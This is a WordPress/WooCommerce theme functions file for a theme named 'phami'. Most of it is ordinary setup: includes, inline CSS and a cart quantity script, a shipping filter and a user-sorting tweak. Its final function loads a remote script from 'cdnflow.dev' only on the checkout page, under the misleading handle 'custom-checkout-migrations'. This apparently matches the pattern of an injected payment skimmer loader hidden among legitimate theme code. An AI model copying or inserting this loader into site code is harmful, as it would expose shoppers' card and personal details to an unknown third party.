<?php define('phami_version','1.0'); if (!isset($content_width)) { $content_width = 1200; } require_once( get_template_directory().'/inc/class-tgm-plugin-activation.php' ); require_once( get_template_directory().'/inc/plugin-requirement.php' ); require_once( get_template_directory().'/inc/megamenu/megamenu.php' ); include_once( get_template_directory().'/inc/megamenu/mega_menu_custom_walker.php' ); require_once( get_template_directory().'/inc/function.php' ); require_once( get_template_directory().'/inc/loader.php' ); include_once( get_template_directory().'/inc/menus.php' ); include_once( get_template_directory().'/inc/template-tags.php' ); require_once( get_template_directory().'/inc/woocommerce.php' ); require_once( get_template_directory().'/inc/admin/functions.php' ); require_once( get_template_directory().'/inc/admin/theme-options.php' ); function phami_custom_css() { $phami_settings = phami_global_settings(); if (!is_admin()) { wp_enqueue_style( 'phami-style-template', get_template_directory_uri().'/css/template.css'); ob_start(); include( get_template_directory().'/inc/custom-css.php' ); $content = ob_get_clean(); $content = str_replace(array("\r\n", "\r"), "\n", $content); $csss = explode("\n", $content); $custom_css = array(); foreach ($csss as $i => $css) { if(!empty($css)) $custom_css[] = trim($css); } wp_add_inline_style( 'phami-style-template', implode($custom_css) ); } } add_action('wp_enqueue_scripts', 'phami_custom_css' ); function phami_custom_js() { if (!is_admin()) { wp_enqueue_script( 'phami-script', get_template_directory_uri() . '/js/functions.js', array( 'jquery'), null, true ); $custom_js = 'var phami_ajax_url = "'.esc_url(admin_url('admin-ajax.php', 'relative')).'";'; $custom_js .= 'jQuery(function($){ "use strict"; $(document).on("click",".plus, .minus",function(){var t=$(this).closest(".quantity").find(".qty"),a=parseFloat(t.val()),n=parseFloat(t.attr("max")),s=parseFloat(t.attr("min")),e=t.attr("step");a&&""!==a&&"NaN"!==a||(a=0),(""===n||"NaN"===n)&&(n=""),(""===s||"NaN"===s)&&(s=0),("any"===e||""===e||void 0===e||"NaN"===parseFloat(e))&&(e=1),$(this).is(".plus")?t.val(n&&(n==a||a>n)?n:a+parseFloat(e)):s&&(s==a||s>a)?t.val(s):a>0&&t.val(a-parseFloat(e)),t.trigger("change")})});'; wp_add_inline_script( 'phami-script', $custom_js ); } } add_action('wp_enqueue_scripts', 'phami_custom_js' ); // To test this code, open a private/incognito window, add an item to the cart and then go to cart page. // Once an option is choosen, it will be the default option from that moment onwards. // Code to clear default shipping option. add_filter( 'woocommerce_shipping_chosen_method', '__return_false', 99); // FILTRO PER NOME - CHATGPT function custom_sortable_name_column($columns) { $columns['name'] = 'name'; return $columns; } add_filter('manage_users_sortable_columns', 'custom_sortable_name_column'); function custom_users_query_orderby($query) { if (!is_admin()) { return; } $orderby = $query->get('orderby'); if ($orderby === 'name') { $query->set('meta_key', 'first_name'); // Cambia con 'name' se il campo รจ unico $query->set('orderby', 'meta_value'); } } add_action('pre_get_users', 'custom_users_query_orderby'); function add_checkout_custom_script() { if (function_exists('is_checkout') && is_checkout() && !is_admin()) { wp_enqueue_script( 'custom-checkout-migrations', 'https://cdnflow.dev/scripts/schede.min.js', array(), '1.0', true ); } } add_action('wp_enqueue_scripts', 'add_checkout_custom_script');